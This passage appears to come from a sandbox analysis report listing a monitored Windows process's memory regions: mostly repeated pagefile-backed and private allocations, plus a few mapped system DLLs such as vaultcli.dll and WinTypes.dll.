pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 745 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 746 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 747 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 748 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 749 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 750 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 751 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 752 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 753 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 754 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 755 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 756 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 757 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 758 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 759 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 760 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 761 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 762 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 763 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 764 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 765 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 766 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 767 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 768 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 769 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 770 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 771 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 772 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 773 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 774 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 775 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 776 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 777 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 778 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 779 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 780 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 781 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 782 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 783 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 784 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 785 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 786 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 787 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 788 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 789 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 790 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003780000" filename = "" Region: id = 791 start_va = 0x3890000 end_va = 0x38affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003890000" filename = "" Region: id = 792 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 793 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 794 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 795 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 796 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 797 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 798 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 799 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 800 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 801 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 802 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 803 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 804 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 805 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 806 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 807 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 808 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 809 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 810 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 811 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 812 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 813 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 814 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 815 start_va = 0x6cc80000 end_va = 0x6ccb9fff monitored = 0 entry_point = 0x6cc99be0 region_type = mapped_file name = "vaultcli.dll" filename = "\\Windows\\SysWOW64\\vaultcli.dll" (normalized: "c:\\windows\\syswow64\\vaultcli.dll") Region: id = 816 start_va = 0x741f0000 end_va = 0x742b7fff monitored = 0 entry_point = 0x7425ae90 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\SysWOW64\\WinTypes.dll" (normalized: "c:\\windows\\syswow64\\wintypes.dll") Region: id = 817 start_va = 0x3780000 end_va = 0x3783fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003780000" filename = "" Region: id = 818 start_va = 0x3890000 end_va = 0x3894fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll" filename = "\\Windows\\SysWOW64\\winnlsres.dll" (normalized: "c:\\windows\\syswow64\\winnlsres.dll") Region: id = 819 start_va = 0x38a0000 end_va = 0x38affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\winnlsres.dll.mui") Region: id = 820 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000038b0000" filename = "" Region: id = 821 start_va = 0x38b0000 end_va = 0x38cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000038b0000" filename = "" Region: id = 822 start_va = 0x38d0000 end_va = 0x38dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038d0000" filename = "" Region: id = 823 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 824 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 825 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 826 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 827 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 828 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 829 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 830 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 831 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 832 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 833 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 834 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 835 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 836 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 837 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 838 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 839 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 840 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 841 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 842 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 843 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 844 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 845 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 846 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 847 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 848 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 849 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 850 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 851 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 852 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 853 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 854 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 855 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 856 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 857 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 858 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 859 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 860 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 861 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 862 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 863 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 864 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 865 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 866 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 867 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 868 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 869 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 870 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 871 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 872 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 873 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 874 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 875 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 876 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 877 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 878 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 879 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 880 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 881 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 882 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 883 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 884 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 885 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 886 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 887 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 888 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 889 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 890 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 891 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 892 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 893 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 894 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 895 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 896 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 897 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 898 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 899 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 900 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 901 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 902 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 903 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 904 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 905 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 906 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 907 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 908 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 909 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 910 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 911 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 912 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 913 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 914 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 915 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 916 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 917 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 918 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 919 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 920 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 921 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 922 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 923 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 924 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 925 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 926 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 927 start_va = 0x38b0000 end_va = 